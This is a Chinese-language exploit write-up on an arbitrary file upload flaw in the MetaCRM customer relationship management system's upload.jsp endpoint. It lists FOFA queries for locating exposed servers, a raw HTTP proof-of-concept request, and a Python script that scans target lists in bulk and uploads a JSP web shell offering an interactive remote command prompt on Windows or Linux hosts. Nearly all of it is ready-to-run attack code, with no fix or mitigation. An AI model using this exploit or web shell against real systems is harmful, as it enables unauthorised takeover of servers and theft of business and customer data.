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147 lines
8.5 KiB
Markdown
147 lines
8.5 KiB
Markdown
## MetaCRM客户关系管理系统任意文件上传漏洞
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MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。是建立在一种统一的架构上的技术领先的CRM系统。美特软件公司投资大量的时间与人力来开发MetaCRM，作为其旗舰产品，MetaCRM设计采用了最先进的因特网技术，因而它的架构支持统一的技术标准，融入了未来科技。建立在这种先进科技基础上的MetaCRM 5是一个技术领先的、稳定的客户关系管理解决方案。其upload.jsp接口存在任意文件上传漏洞，攻击者可通过改漏洞上传恶意脚本从而控制该系统。
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## fofa
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```
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body="/common/scripts/basic.js"
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product="美特软件-MetaCRM6"
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```
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## poc
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```
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POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null& HTTP/1.1
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Host: x.x.x.x
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Content-Length: 779
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
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Referer: http://x.x.x.x/develop/systparam/softlogo/file2.jsp
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Connection: close
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------WebKitFormBoundary0Mh3BfgWszxRFokh
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Content-Disposition: form-data; name="file"; filename="klms.jsp"
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Content-Type: text/plain
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<% out.print("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
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------WebKitFormBoundary0Mh3BfgWszxRFokh
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Content-Disposition: form-data; name="key"
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null
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------WebKitFormBoundary0Mh3BfgWszxRFokh
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Content-Disposition: form-data; name="form"
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null
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------WebKitFormBoundary0Mh3BfgWszxRFokh
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Content-Disposition: form-data; name="field"
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null
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------WebKitFormBoundary0Mh3BfgWszxRFokh
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Content-Disposition: form-data; name="filetitile"
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null
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------WebKitFormBoundary0Mh3BfgWszxRFokh
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Content-Disposition: form-data; name="filefolder"
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null
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------WebKitFormBoundary0Mh3BfgWszxRFokh--
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```
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文件上传路径`http:127.0.0.1/userfile/default/userlogo/klms.jsp`
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## 批量脚本
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```python
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import requests
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import urllib3
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import re,string,random
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from urllib.parse import urljoin
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import argparse
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import time
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import ssl
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ssl._create_default_https_context = ssl._create_unverified_context
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urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
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def read_file(file_path):
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with open(file_path, 'r') as file:
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urls = file.read().splitlines()
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return urls
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def generate_random_string(length):
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characters = string.ascii_letters + string.digits
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random_string = ''.join(random.choice(characters) for _ in range(length))
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return random_string
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def check(url):
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url = url.rstrip("/")
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target = urljoin(url,"/develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null&")
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
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"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh"
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}
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filename = generate_random_string(6)
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data = """------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="file"; filename="{}.jsp"\r\nContent-Type: text/plain\r\n\r\n<% out.print("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="key"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="form"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="field"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filetitile"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filefolder"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh--""".format(filename)
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try:
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response = requests.post(target, verify=False, data=data,headers=headers, timeout=15)
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if response.status_code == 200 and 'userfile' in response.text and 'parentForm' in response.text:
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pattern = r'oForm\.elements\["null"\]\.value="(.*?)"'
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matches = re.findall(pattern, response.text)
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if matches:
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extracted_path = matches[0]
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result_url = urljoin(url,extracted_path)
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response = requests.get(result_url, verify=False, headers={"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"}, data=data, timeout=15)
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if response.status_code == 200 and 'HelloWorldTest' in response.text:
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print(f"\033[31mDiscovered:{url}: metasoftCRM_upload_ArbitraryFileUploads!\033[0m")
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return True
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except Exception as e:
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pass
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def run(url):
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url = url.rstrip("/")
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target = urljoin(url,"/develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null&")
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headers = {
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"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
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"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh"
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}
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filename = generate_random_string(6)
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data_template = """------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="file"; filename="replace1.jsp"\r\nContent-Type: text/plain\r\n\r\n<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%><%@ page import="java.io.*"%><%Process p=null;String cmd = "replace2";String os = System.getProperty("os.name").toLowerCase();if (os.contains("windows")) {p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});}else{p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});}if(cmd != null){InputStream input = p.getInputStream();InputStreamReader ins = new InputStreamReader(input, "GBK");BufferedReader br = new BufferedReader(ins);out.print("<pre>");String line;while((line = br.readLine()) != null) {out.println(line);}out.print("</pre>");br.close();ins.close();input.close();p.getOutputStream().close();}new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="key"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="form"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="field"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filetitile"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filefolder"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh--"""
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try:
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if check(url):
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while True:
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command = input("\033[34mPlease input command (stop input:exit):\033[0m")
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if "exit" not in command:
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data = data_template.replace('replace1', filename).replace('replace2', command)
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response = requests.post(target, verify=False, data=data, headers=headers, timeout=15)
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if response.status_code == 200 and 'userfile' in response.text and 'parentForm' in response.text:
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pattern = r'oForm\.elements\["null"\]\.value="(.*?)"'
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matches = re.findall(pattern, response.text)
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if matches:
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extracted_path = matches[0]
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result_url = urljoin(url, extracted_path)
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response = requests.get(result_url, verify=False, headers={"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"}, timeout=15)
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if response.status_code == 200:
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print(response.text)
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else:
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break
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except Exception as e:
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pass
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if __name__ == "__main__":
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parser = argparse.ArgumentParser()
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parser.add_argument("-u", "--url", help="URL")
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parser.add_argument("-f", "--txt", help="file")
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args = parser.parse_args()
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url = args.url
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txt = args.txt
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if url:
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run(url)
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elif txt:
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urls = read_file(txt)
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for url in urls:
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check(url)
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else:
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print("help")
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```
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